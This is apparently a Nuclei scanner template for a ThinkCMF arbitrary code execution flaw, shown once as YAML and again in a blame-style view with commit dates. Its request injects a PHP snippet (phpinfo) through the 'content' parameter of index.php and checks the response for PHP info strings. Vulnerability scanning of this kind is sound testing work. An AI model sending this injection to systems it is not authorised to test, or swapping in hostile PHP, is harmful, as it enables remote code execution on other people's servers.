vulnerabilities/thinkcmf/thinkcmf-arbitrary-code-execution.yaml

id: thinkcmf-arbitrary-code-execution

info:
  name: ThinkCMF Arbitrary code execution
  author: pikpikcu
  severity: high
  reference: https://www.shuzhiduo.com/A/l1dygr36Je/
  tags: thinkcmf

requests:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?g=g&m=Door&a=index&content=<?php%20phpinfo();"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "PHP Extension"
          - "PHP Version"
          - "PHP License"
          - "PHP Variables"
        condition: and

      - type: status
        status:
          - 200
Create thinkcmf-arbitrary-code-execution.yaml 2021-03-24 01:10:20 +00:00			`id: thinkcmf-arbitrary-code-execution`

			`info:`
			`name: ThinkCMF Arbitrary code execution`
			`author: pikpikcu`
			`severity: high`
			`reference: https://www.shuzhiduo.com/A/l1dygr36Je/`
			`tags: thinkcmf`

			`requests:`
			`- method: GET`
			`path:`
			`- "{{BaseURL}}/index.php?g=g&m=Door&a=index&content=<?php%20phpinfo();"`

			`matchers-condition: and`
			`matchers:`
			`- type: word`
			`words:`
			`- "PHP Extension"`
			`- "PHP Version"`
Update thinkcmf-arbitrary-code-execution.yaml 2021-03-24 17:21:31 +05:30			`- "PHP License"`
			`- "PHP Variables"`
Create thinkcmf-arbitrary-code-execution.yaml 2021-03-24 01:10:20 +00:00			`condition: and`

			`- type: status`
			`status:`
			`- 200`